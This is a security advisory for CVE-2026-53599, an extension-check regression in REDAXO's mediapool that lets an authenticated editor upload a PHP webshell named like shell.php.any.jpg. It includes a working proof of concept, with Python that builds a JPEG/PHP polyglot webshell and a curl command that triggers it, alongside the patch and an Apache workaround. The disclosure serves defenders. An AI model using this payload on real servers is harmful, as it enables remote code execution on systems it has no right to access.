CVE-2026-53599: REDAXO Mediapool Multi-Segment Filename Extension Bypass RCE
A logic regression in REDAXO's file-upload extension check lets an authenticated editor upload a PHP webshell disguised as a JPEG by using a three-part filename like shell.php.any.jpg, which the…

The problem
The rex_mediapool::isAllowedExtension() function in redaxo/src/addons/mediapool/lib/mediapool.php uses two str_ends_with calls to detect blocked extensions inside a filename. The two shapes it checks are filename ends with .php and filename ends with .php.jpg.
A three-segment chain like shell.php.any.jpg satisfies neither shape, so the check returns true and the upload is accepted.
Any backend user who holds the standard media[upload] permission can upload a JPEG/PHP polyglot named shell.php.any.jpg. On Apache deployments where the PHP handler is matched without a $ end-anchor (for example AddHandler application/x-httpd-php .php via mod_mime, or a non-anchored FilesMatch regex), requesting the stored file from the public media/ directory executes the embedded PHP as the web-server user.
Proof of concept
A working proof-of-concept for CVE-2026-53599 in redaxo/source, with the exact payload below.
# 1. Build the JPEG/PHP polyglot (188 bytes, MIME: image/jpeg)
import struct
jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php system($_GET["cmd"]); ?>'
jpeg_tail = bytes([0xff,0xd9])
with open('shell.php.any.jpg', 'wb') as f:
f.write(jpeg_header + php_payload + jpeg_tail)
# 2. Upload shell.php.any.jpg via the REDAXO mediapool UI
# (authenticated user with media[upload] permission)
# isAllowedExtension("shell.php.any.jpg") returns TRUE -- upload accepted
# 3. Trigger RCE (Apache with non-anchored PHP handler)
# curl "https://victim.example/media/shell.php.any.jpg?cmd=id"
# => uid=33(www-data) gid=33(www-data) groups=33(www-data)The regression was introduced in PR #6213 (commit 9d008697d, Feb 2025). That PR replaced a correct str_contains($filename, '.' . $blockedExtension) check with two str_ends_with calls intended to fix false positives on names like foo.json (which contains .js).
The fix removed the false positive but also removed protection against any extension chain longer than two segments.
For shell.php.any.jpg: $fileExt resolves to jpg, the str_starts_with($fileExt, 'php') guard is false, and neither str_ends_with('shell.php.any.jpg', '.php') nor str_ends_with('shell.php.any.jpg', '.php.jpg') is true, so the function returns true. The same weak check is called a second time from rex_mediapool::filename() during normalization, so the bypass also clears the rename guard.
The same str_contains form that was removed in PR #6213 is exactly what the patch (commit 462e368) restores, this time scoped to only the segments of the filename before the final extension, avoiding the original false-positive.
CWE-434: Unrestricted Upload of File with Dangerous Type.
The fix
Upgrade to REDAXO 5.21.1. The fix in commit 462e36896bb65d292ba22d711044c23c9cfb0340 (PR #6538) restores substring-based blocked-extension detection across all filename segments, so shell.php.any.jpg is correctly rejected regardless of chain length. If immediate upgrade is not possible, restrict the Apache PHP handler to use a $-anchored FilesMatch pattern (e.g., <FilesMatch ".+\.ph(?:ar|p|tml)$">) so multi-extension filenames are not executed as PHP.
Reported by @riodrwn.
Related research
- critical · 9.9FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()
- high · 7.6CVE-2026-54087CVE-2026-54087: EasyAdmin Bundle Stored XSS via FileField and ImageField Upload
- high · 8.8NotrinosERP: Authenticated Arbitrary File Upload to Remote Code Execution via HRM Employee Documents
- critical · 9.6CVE-2026-54588CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect